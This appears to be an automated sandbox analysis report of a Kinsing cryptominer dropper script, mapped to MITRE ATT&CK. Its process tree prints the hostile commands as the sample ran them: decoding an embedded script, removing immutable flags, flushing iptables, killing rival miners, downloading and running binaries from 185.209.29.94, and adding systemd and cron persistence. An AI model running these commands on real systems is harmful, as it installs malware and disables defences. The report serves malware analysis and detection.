c77dd74c03e3a08e2b436952a52427f23b803488b9036890b11ced72e6b6ee2b

execution persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/ld.so.preload	bash

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
935	chmod
942	chmod
944	chmod
950	chmod
674	chmod
919	chmod
924	chmod
926	chmod
937	chmod
951	chmod
917	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/kinsing	952	bash

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
680	iptables

Creates/modifies Cron job 1 TTPs 12 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vDqXDD	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WFZRMK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.hlqrXQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.JIMLF8	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EWVr4e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.wpjnKe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.95qah9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.QIPa4e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.dR6FXl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ULJgwx	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.CgpMCX	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EVEslk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	bash

Removes the immutable protection flag from a file 1 TTPs 24 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
677	chattr
678	chattr
814	xargs
824	xargs
869	xargs
675	chattr
692	xargs
709	xargs
722	xargs
816	xargs
820	xargs
697	xargs
716	xargs
728	xargs
812	xargs
818	xargs
853	xargs
885	xargs
901	xargs
704	xargs
734	xargs
822	xargs
844	xargs
909	xargs

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
656	base64

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 8 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
700	ps
705	ps
808	ps
839	ps
849	ps
905	ps
688	ps
693	ps

Reads CPU attributes 1 TTPs 49 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/159/stat	ps
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/41/stat	ps
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/154/stat	ps
File opened for reading	/proc/800/cmdline	pkill
File opened for reading	/proc/222/status	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/632/cmdline	pkill
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/699/status	pkill
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/154/status	pkill
File opened for reading	/proc/784/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/588/cmdline	pkill
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/98/cmdline	pkill
File opened for reading	/proc/108/stat	ps
File opened for reading	/proc/169/status	ps
File opened for reading	/proc/643/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/338/status	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/159/stat	ps
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/294/stat	ps
File opened for reading	/proc/283/cmdline	ps
File opened for reading	/proc/283/cmdline	pkill
File opened for reading	/proc/804/cmdline	pkill
File opened for reading	/proc/318/stat	ps
File opened for reading	/proc/906/cmdline	ps
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/108/cmdline	pkill
File opened for reading	/proc/106/cmdline	pkill
File opened for reading	/proc/643/cmdline	ps
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/stat	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/887/stat	ps
File opened for reading	/proc/639/status	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/643/status	ps
File opened for reading	/proc/589/status	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.k25Kp3f5HZ/embedded.sh	bash

/tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
/tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/usr/local/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/usr/local/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/usr/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/usr/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:643

/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
- Writes file to tmp directory
PID:643
- /bin/mktemp
  mktemp -d
  2⤵
  PID:651
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:656
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:657
- /bin/chmod
  chmod +x /tmp/tmp.k25Kp3f5HZ/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:674

/bin/bash
bash /tmp/tmp.k25Kp3f5HZ/embedded.sh
1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Modifies systemd
PID:643
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Removes the immutable protection flag from a file
  PID:675
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:676
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:677
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:678
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:680
- /usr/bin/id
  id -u
  2⤵
  PID:683
- /bin/grep
  grep -e /dev
  2⤵
  PID:686
- /bin/ls
  ls -la /etc
  2⤵
  PID:685
- /bin/grep
  grep -v grep
  2⤵
  PID:687
- /bin/grep
  grep tracepath
  2⤵
  PID:689
- /bin/grep
  grep -v grep
  2⤵
  PID:690
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:688
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:691
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:692
- /bin/grep
  grep /dot
  2⤵
  PID:694
- /bin/grep
  grep -v grep
  2⤵
  PID:695
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:693
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:697
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:698
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:699
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:700
- /bin/grep
  grep -v grep
  2⤵
  PID:702
- /bin/grep
  grep ./ll1
  2⤵
  PID:701
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:704
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:703
- /bin/grep
  grep agetty
  2⤵
  PID:706
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:705
- /bin/grep
  grep -v grep
  2⤵
  PID:707
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:708
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:709
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:710
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:712
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:713
- /bin/grep
  grep -v -
  2⤵
  PID:715
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:714
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:716
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:718
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:719
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:720
- /bin/grep
  grep -v -
  2⤵
  PID:721
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:722
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:724
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:725
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:726
- /bin/grep
  grep -v -
  2⤵
  PID:727
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:728
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:730
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:731
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:732
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:734
- /bin/grep
  grep -v -
  2⤵
  PID:733
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:735
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  PID:736
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:740
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:744
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:747
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:750
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:753
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:760
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:764
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  PID:767
- /usr/bin/pkill
  pkill -f .main
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:770
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:774
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:777
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:782
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:788
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:791
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:796
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:797
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:800
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  PID:801
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:802
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:803
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:804
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:805
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:806
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:807
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:808
- /bin/grep
  grep -v grep
  2⤵
  PID:810
- /bin/grep
  grep ./udp
  2⤵
  PID:809
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:812
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:814
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:813
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:816
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:818
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:820
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:819
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:822
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:824
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:823
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:825
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:826
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:827
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:828
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:829
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:832
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:835
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:839
- /bin/grep
  grep -v grep
  2⤵
  PID:841
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:842
- /bin/grep
  grep ./oka
  2⤵
  PID:840
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:844
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:850
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:849
- /bin/grep
  grep -v grep
  2⤵
  PID:851
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:852
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:853
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:859
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:858
- /bin/grep
  grep -v "\\["
  2⤵
  PID:861
- /bin/grep
  grep -v "("
  2⤵
  PID:862
- /bin/grep
  grep -v bin
  2⤵
  PID:860
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:863
- /bin/grep
  grep -v proxymap
  2⤵
  PID:864
- /bin/grep
  grep -v postgrey
  2⤵
  PID:866
- /bin/grep
  grep -v postgres
  2⤵
  PID:865
- /bin/grep
  grep -v kinsing
  2⤵
  PID:867
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:868
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:869
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:874
- /bin/grep
  grep -v bin
  2⤵
  PID:876
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:875
- /bin/grep
  grep -v "\\["
  2⤵
  PID:877
- /bin/grep
  grep -v "("
  2⤵
  PID:878
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:879
- /bin/grep
  grep -v postgres
  2⤵
  PID:882
- /bin/grep
  grep -v proxymap
  2⤵
  PID:880
- /bin/grep
  grep -v postgrey
  2⤵
  PID:883
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:884
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:885
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:890
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:891
- /bin/grep
  grep -v bin
  2⤵
  PID:892
- /bin/grep
  grep -v "("
  2⤵
  PID:894
- /bin/grep
  grep -v "\\["
  2⤵
  PID:893
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:896
- /bin/grep
  grep -v proxymap
  2⤵
  PID:897
- /bin/grep
  grep -v postgres
  2⤵
  PID:898
- /bin/grep
  grep -v postgrey
  2⤵
  PID:899
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:900
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:901
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:905
- /bin/grep
  grep -v grep
  2⤵
  PID:906
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:907
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:908
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:909
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:916
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:915
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /usr/bin/curl
  curl -o /etc/kinsing http://185.209.29.94/kinsing
  2⤵
  - Checks CPU configuration
  PID:918
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:923
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:922
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /usr/bin/curl
  curl -o /etc/kinsing http://185.209.29.94/kinsing
  2⤵
  - Checks CPU configuration
  PID:925
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:929
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:930
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:933
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:934
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /usr/bin/curl
  curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
  2⤵
  - Checks CPU configuration
  PID:936
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:941
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:940
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /usr/bin/curl
  curl -o /etc/libsystem.so http://185.209.29.94/libsystem.so
  2⤵
  - Checks CPU configuration
  PID:943
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:947
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:948
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:949
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /etc/kinsing
  /etc/kinsing
  2⤵
  PID:952
- /usr/bin/id
  id -u
  2⤵
  PID:953
- /bin/systemctl
  systemctl enable bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:954
- /bin/systemctl
  systemctl start bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:967
- /bin/sed
  sed /base64/d
  2⤵
  PID:971
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:970
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:972
- /bin/sed
  sed /_cron/d
  2⤵
  PID:974
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:973
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:975
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:978
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:976
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:977
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:981
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:980
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:979
- /bin/sed
  sed /logo4/d
  2⤵
  PID:983
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:982
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:984
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:987
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:985
- /bin/sed
  sed /logo9/d
  2⤵
  PID:986
- /bin/sed
  sed /logo0/d
  2⤵
  PID:989
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:988
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:990
- /bin/sed
  sed /logo/d
  2⤵
  PID:992
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:993
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:991
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:995
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:994
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:996
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:999
- /bin/sed
  sed /jpg/d
  2⤵
  PID:998
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:997
- /bin/sed
  sed /png/d
  2⤵
  PID:1001
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1002
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1000
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1003
- /bin/sed
  sed /tmp/d
  2⤵
  PID:1004
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1005

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

